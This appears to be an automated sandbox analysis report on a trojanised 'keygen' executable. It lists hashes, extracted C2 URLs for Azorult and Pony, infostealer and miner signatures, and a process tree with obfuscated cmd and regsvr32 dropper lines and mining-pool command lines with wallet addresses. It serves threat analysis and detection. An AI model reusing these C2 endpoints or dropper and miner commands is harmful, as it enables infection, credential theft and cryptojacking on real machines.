Analysis

  • max time kernel
    1798s
  • max time network
    1769s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    13-06-2021 21:27

General

  • Target

    Comprehensive_Meta_Analysis_keygen_by_KeygenSumo.exe

  • Size

    6.1MB

  • MD5

    c95e4a0b394708279480861e498f5e88

  • SHA1

    9930bae69d18cc4f1a4c59cd3d6b0de59b49dab3

  • SHA256

    64d37096515ff385f2a0a3c49ed8df8f7837f1e7d81de9f586d756fb4416117f

  • SHA512

    3c44424e3abba9e79ca2b5b141fd3cedf7c333a28a9066827184ec3c0b46f22ae697463e9d08427c2e847a79aaf0cc1b1d24c2336ad9ab3881b9e40ee1e96a8b

Malware Config

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Extracted

Family

raccoon

Botnet

e0aa5b6d2491c503baf06d4cfeb218de1cd41474

Attributes
  • url4cnc

    https://tttttt.me/hbackwoods1

rc4.plain
rc4.plain

Extracted

Family

pony

C2

http://www.oldhorse.info

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • PlugX

    PlugX is a RAT (Remote Access Trojan) that has been around since 2008.

  • Pony,Fareit

    Pony is a Remote Access Trojan application that steals information.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 3 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 25 IoCs
  • VMProtect packed file 2 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Loads dropped DLL 8 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 8 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
    1⤵
      PID:2532
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s WpnService
      1⤵
        PID:2812
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2796
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Browser
        1⤵
          PID:2704
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2512
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
          1⤵
            PID:1952
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s SENS
            1⤵
              PID:1404
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s UserManager
              1⤵
                PID:1348
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s Themes
                1⤵
                  PID:1188
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                  1⤵
                    PID:1064
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                    1⤵
                      PID:492
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                      1⤵
                        PID:68
                      • C:\Users\Admin\AppData\Local\Temp\Comprehensive_Meta_Analysis_keygen_by_KeygenSumo.exe
                        "C:\Users\Admin\AppData\Local\Temp\Comprehensive_Meta_Analysis_keygen_by_KeygenSumo.exe"
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4804
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:412
                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
                            keygen-pr.exe -p83fsase3Ge
                            3⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:352
                            • C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe
                              "C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"
                              4⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of WriteProcessMemory
                              PID:4624
                              • C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe
                                C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe -txt -scanlocal -file:potato.dat
                                5⤵
                                • Executes dropped EXE
                                PID:4736
                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
                            keygen-step-1.exe
                            3⤵
                            • Executes dropped EXE
                            PID:1056
                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe
                            keygen-step-5.exe
                            3⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:1152
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\system32\cmd.exe" /Q /c tYpe "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" > ..\JLCEsg.EXE && STARt ..\JLcESG.eXe -Padv58BxSA2YftsG & iF "" == "" for %G In ("C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-5.exe" ) do taskkill /F /im "%~NXG" > NuL
                              4⤵
                              • Suspicious use of WriteProcessMemory
                              PID:1816
                              • C:\Users\Admin\AppData\Local\Temp\JLCEsg.EXE
                                ..\JLcESG.eXe -Padv58BxSA2YftsG
                                5⤵
                                • Executes dropped EXE
                                • Suspicious use of WriteProcessMemory
                                PID:1976
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\system32\cmd.exe" /Q /c tYpe "C:\Users\Admin\AppData\Local\Temp\JLCEsg.EXE" > ..\JLCEsg.EXE && STARt ..\JLcESG.eXe -Padv58BxSA2YftsG & iF "-Padv58BxSA2YftsG " == "" for %G In ("C:\Users\Admin\AppData\Local\Temp\JLCEsg.EXE" ) do taskkill /F /im "%~NXG" > NuL
                                  6⤵
                                    PID:4652
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /C EcHo | SEt /p = "MZ" > BPEMRMEN.d & COpy /b /Y bPEMRMEN.d + dXHRwjo.0AZ + NhXJ5ZS.~ + ~2Hb8F.f + WY9hCmU.B7 + FW37r_QP.NKF + RqNMML.8D ..\LOOWZJ.Z > NUl & DEL /Q * > NuL& StaRT regsvr32 ..\LOOWZJ.Z -U /s
                                    6⤵
                                      PID:5100
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /S /D /c" EcHo "
                                        7⤵
                                          PID:2808
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>BPEMRMEN.d"
                                          7⤵
                                            PID:4480
                                          • C:\Windows\SysWOW64\regsvr32.exe
                                            regsvr32 ..\LOOWZJ.Z -U /s
                                            7⤵
                                            • Loads dropped DLL
                                            • Suspicious use of NtCreateThreadExHideFromDebugger
                                            PID:4780
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /F /im "keygen-step-5.exe"
                                        5⤵
                                        • Kills process with taskkill
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4716
                                  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-6.exe
                                    keygen-step-6.exe
                                    3⤵
                                    • Executes dropped EXE
                                    • Modifies system certificate store
                                    • Suspicious use of WriteProcessMemory
                                    PID:1360
                                    • C:\Users\Admin\AppData\Roaming\BE93.tmp.exe
                                      "C:\Users\Admin\AppData\Roaming\BE93.tmp.exe"
                                      4⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:2284
                                      • C:\Windows\SysWOW64\cmd.exe
                                        cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\BE93.tmp.exe"
                                        5⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetThreadContext
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4656
                                        • C:\Windows\SysWOW64\timeout.exe
                                          timeout /T 10 /NOBREAK
                                          6⤵
                                          • Delays execution with timeout.exe
                                          PID:4520
                                    • C:\Users\Admin\AppData\Roaming\D930.tmp.exe
                                      "C:\Users\Admin\AppData\Roaming\D930.tmp.exe"
                                      4⤵
                                      • Executes dropped EXE
                                      • Adds Run key to start application
                                      • Suspicious use of SetThreadContext
                                      PID:2340
                                      • C:\Windows\system32\msiexec.exe
                                        -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w22518@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
                                        5⤵
                                          PID:4248
                                        • C:\Windows\system32\msiexec.exe
                                          -o pool.minexmr.com:4444 -u 87rRyMkZM4pNgAZPi5NX3DdxksaoNgd7bZUBVe3A9uemAhxc8EQJ6dAPZg2mYTwoezgJWNfTpFFmnVYWXqcNDMhLF7ihFgM.w19085 --cpu-max-threads-hint 50 -r 9999
                                          5⤵
                                          • Blocklisted process makes network request
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:1000
                                      • C:\Users\Admin\AppData\Roaming\DBF0.tmp.exe
                                        "C:\Users\Admin\AppData\Roaming\DBF0.tmp.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • Drops startup file
                                        PID:4064
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-6.exe" >> NUL
                                        4⤵
                                          PID:740
                                          • C:\Windows\SysWOW64\PING.EXE
                                            ping 127.0.0.1
                                            5⤵
                                            • Runs ping.exe
                                            PID:4796
                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
                                        keygen-step-3.exe
                                        3⤵
                                        • Executes dropped EXE
                                        PID:1672
                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
                                        keygen-step-4.exe
                                        3⤵
                                        • Executes dropped EXE
                                        • Checks computer location settings
                                        • Suspicious use of WriteProcessMemory
                                        PID:3480
                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX3\Crack.exe
                                          "C:\Users\Admin\AppData\Local\Temp\RarSFX3\Crack.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          • Checks computer location settings
                                          • Suspicious use of WriteProcessMemory
                                          PID:668
                                          • C:\Windows\SysWOW64\rUNdlL32.eXe
                                            "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\install.dll",install
                                            5⤵
                                            • Loads dropped DLL
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:496
                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX3\GloryWSetp.exe
                                          "C:\Users\Admin\AppData\Local\Temp\RarSFX3\GloryWSetp.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:4232
                                          • C:\Users\Admin\AppData\Roaming\2831927.exe
                                            "C:\Users\Admin\AppData\Roaming\2831927.exe"
                                            5⤵
                                            • Executes dropped EXE
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:4036
                                          • C:\Users\Admin\AppData\Roaming\5929093.exe
                                            "C:\Users\Admin\AppData\Roaming\5929093.exe"
                                            5⤵
                                            • Executes dropped EXE
                                            • Adds Run key to start application
                                            PID:3496
                                            • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                              "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                              6⤵
                                              • Executes dropped EXE
                                              PID:4488
                                          • C:\Users\Admin\AppData\Roaming\1165412.exe
                                            "C:\Users\Admin\AppData\Roaming\1165412.exe"
                                            5⤵
                                            • Executes dropped EXE
                                            PID:2080
                                            • C:\Users\Admin\AppData\Roaming\1165412.exe
                                              "{path}"
                                              6⤵
                                              • Executes dropped EXE
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:8
                                          • C:\Users\Admin\AppData\Roaming\8607549.exe
                                            "C:\Users\Admin\AppData\Roaming\8607549.exe"
                                            5⤵
                                              PID:4656
                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe
                                                6⤵
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:4756
                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX3\note8876.exe
                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX3\note8876.exe"
                                            4⤵
                                            • Executes dropped EXE
                                            • Checks whether UAC is enabled
                                            PID:4752
                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX3\Setup.exe
                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX3\Setup.exe"
                                            4⤵
                                            • Executes dropped EXE
                                            • Drops file in Program Files directory
                                            • Suspicious use of SetWindowsHookEx
                                            PID:2912
                                            • C:\Program Files (x86)\Browzar\BHLaXlSQsQ4M.exe
                                              "C:\Program Files (x86)\Browzar\BHLaXlSQsQ4M.exe"
                                              5⤵
                                              • Executes dropped EXE
                                              • Suspicious use of SetThreadContext
                                              PID:2436
                                              • C:\Program Files (x86)\Browzar\BHLaXlSQsQ4M.exe
                                                "C:\Program Files (x86)\Browzar\BHLaXlSQsQ4M.exe"
                                                6⤵
                                                • Executes dropped EXE
                                                PID:2560
                                            • C:\Program Files (x86)\Browzar\Browzar.exe
                                              "C:\Program Files (x86)\Browzar\Browzar.exe"
                                              5⤵
                                              • Executes dropped EXE
                                              • Checks whether UAC is enabled
                                              • Suspicious use of SetThreadContext
                                              • Suspicious use of SetWindowsHookEx
                                              PID:2080
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 2080 -s 2252
                                                6⤵
                                                • Drops file in Windows directory
                                                • Program crash
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:988
                                    • \??\c:\windows\system32\svchost.exe
                                      c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                      1⤵
                                      • Suspicious use of SetThreadContext
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4984
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k SystemNetworkService
                                        2⤵
                                        • Checks processor information in registry
                                        • Modifies data under HKEY_USERS
                                        • Modifies registry class
                                        PID:2368
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k SystemNetworkService
                                        2⤵
                                        • Drops file in System32 directory
                                        • Checks processor information in registry
                                        • Modifies data under HKEY_USERS
                                        • Modifies registry class
                                        PID:1328
                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                      1⤵
                                      • Drops file in Windows directory
                                      • Modifies Internet Explorer settings
                                      • Modifies registry class
                                      • Suspicious use of SetWindowsHookEx
                                      PID:2120
                                    • C:\Windows\system32\browser_broker.exe
                                      C:\Windows\system32\browser_broker.exe -Embedding
                                      1⤵
                                      • Modifies Internet Explorer settings
                                      PID:4736
                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                      1⤵
                                      • Modifies registry class
                                      • Suspicious behavior: MapViewOfSection
                                      • Suspicious use of SetWindowsHookEx
                                      PID:4524
                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                      1⤵
                                      • Modifies Internet Explorer settings
                                      • Modifies registry class
                                      PID:4812

                                    Network

                                    MITRE ATT&CK Enterprise v6

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • memory/8-329-0x0000000005690000-0x0000000005691000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/68-197-0x000001538CF40000-0x000001538CFB0000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/68-344-0x000001538D020000-0x000001538D091000-memory.dmp

                                      Filesize

                                      452KB

                                    • memory/492-244-0x000002449EB50000-0x000002449EBC0000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/496-176-0x0000000004AC4000-0x0000000004BC5000-memory.dmp

                                      Filesize

                                      1.0MB

                                    • memory/496-178-0x0000000004C30000-0x0000000004C8C000-memory.dmp

                                      Filesize

                                      368KB

                                    • memory/1000-318-0x0000016528F20000-0x0000016528F40000-memory.dmp

                                      Filesize

                                      128KB

                                    • memory/1000-331-0x00000165BCD30000-0x00000165BCD50000-memory.dmp

                                      Filesize

                                      128KB

                                    • memory/1000-310-0x0000000140000000-0x000000014070D000-memory.dmp

                                      Filesize

                                      7.1MB

                                    • memory/1064-241-0x000001C9E5CB0000-0x000001C9E5D20000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/1188-230-0x0000016ABBB60000-0x0000016ABBBD0000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/1328-326-0x000001871EAB0000-0x000001871EACA000-memory.dmp

                                      Filesize

                                      104KB

                                    • memory/1328-295-0x000001871CFA0000-0x000001871CFEB000-memory.dmp

                                      Filesize

                                      300KB

                                    • memory/1328-325-0x000001871F700000-0x000001871F806000-memory.dmp

                                      Filesize

                                      1.0MB

                                    • memory/1328-298-0x000001871D270000-0x000001871D2E1000-memory.dmp

                                      Filesize

                                      452KB

                                    • memory/1348-236-0x000001ECA7760000-0x000001ECA77D0000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/1360-130-0x0000000000810000-0x0000000000827000-memory.dmp

                                      Filesize

                                      92KB

                                    • memory/1404-250-0x0000023008710000-0x0000023008780000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/1952-225-0x000001EF56680000-0x000001EF566F0000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/2080-306-0x000000007EB30000-0x000000007EB31000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/2080-280-0x0000000005770000-0x0000000005771000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/2080-300-0x0000000005270000-0x000000000576E000-memory.dmp

                                      Filesize

                                      5.0MB

                                    • memory/2080-276-0x0000000000960000-0x0000000000961000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/2284-275-0x0000000000400000-0x0000000000C56000-memory.dmp

                                      Filesize

                                      8.3MB

                                    • memory/2284-274-0x00000000028C0000-0x0000000002951000-memory.dmp

                                      Filesize

                                      580KB

                                    • memory/2368-189-0x0000016651B00000-0x0000016651B70000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/2436-336-0x0000000005440000-0x000000000593E000-memory.dmp

                                      Filesize

                                      5.0MB

                                    • memory/2512-235-0x000002D49CC60000-0x000002D49CCD0000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/2532-346-0x000001CB8D980000-0x000001CB8D9F1000-memory.dmp

                                      Filesize

                                      452KB

                                    • memory/2532-224-0x000001CB8D8A0000-0x000001CB8D910000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/2560-340-0x0000000005670000-0x0000000005671000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/2704-188-0x0000020358B70000-0x0000020358BE0000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/2704-342-0x0000020358F90000-0x0000020359001000-memory.dmp

                                      Filesize

                                      452KB

                                    • memory/2704-181-0x0000020358580000-0x00000203585CB000-memory.dmp

                                      Filesize

                                      300KB

                                    • memory/2796-243-0x000001F588210000-0x000001F588280000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/2812-249-0x000001CCD1970000-0x000001CCD19E0000-memory.dmp

                                      Filesize

                                      448KB

                                    • memory/3496-285-0x000000000AC20000-0x000000000AC21000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3496-282-0x0000000003070000-0x000000000307E000-memory.dmp

                                      Filesize

                                      56KB

                                    • memory/3496-277-0x00000000018F0000-0x00000000018F1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3496-288-0x00000000031B0000-0x00000000031B1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/3496-267-0x0000000000DC0000-0x0000000000DC1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4036-299-0x0000000005930000-0x0000000005931000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4036-268-0x0000000000E60000-0x0000000000E61000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4064-258-0x0000000000990000-0x0000000000995000-memory.dmp

                                      Filesize

                                      20KB

                                    • memory/4232-173-0x0000000000420000-0x0000000000421000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4232-183-0x00000000022F0000-0x00000000022F1000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4232-194-0x0000000002310000-0x000000000232B000-memory.dmp

                                      Filesize

                                      108KB

                                    • memory/4232-231-0x000000001AEE0000-0x000000001AEE2000-memory.dmp

                                      Filesize

                                      8KB

                                    • memory/4232-198-0x0000000002440000-0x0000000002441000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4248-308-0x0000000140000000-0x0000000140383000-memory.dmp

                                      Filesize

                                      3.5MB

                                    • memory/4488-309-0x0000000004A90000-0x0000000004A91000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4624-323-0x0000000000A90000-0x0000000000A91000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4624-322-0x0000000002E10000-0x0000000002EFF000-memory.dmp

                                      Filesize

                                      956KB

                                    • memory/4624-154-0x00000000025A0000-0x000000000273C000-memory.dmp

                                      Filesize

                                      1.6MB

                                    • memory/4624-324-0x0000000000A80000-0x0000000000A9B000-memory.dmp

                                      Filesize

                                      108KB

                                    • memory/4656-297-0x0000000004D70000-0x0000000004D71000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4656-291-0x0000000000440000-0x0000000000441000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4736-150-0x0000000000400000-0x0000000000983000-memory.dmp

                                      Filesize

                                      5.5MB

                                    • memory/4736-157-0x0000000000400000-0x0000000000983000-memory.dmp

                                      Filesize

                                      5.5MB

                                    • memory/4756-313-0x0000000005300000-0x0000000005301000-memory.dmp

                                      Filesize

                                      4KB

                                    • memory/4780-223-0x0000000000B80000-0x0000000000C4A000-memory.dmp

                                      Filesize

                                      808KB

                                    • memory/4780-338-0x0000000000EB0000-0x0000000000F5E000-memory.dmp

                                      Filesize

                                      696KB

                                    • memory/4780-337-0x0000000000D50000-0x0000000000E00000-memory.dmp

                                      Filesize

                                      704KB

                                    • memory/4984-179-0x000001C350A40000-0x000001C350AB0000-memory.dmp

                                      Filesize

                                      448KB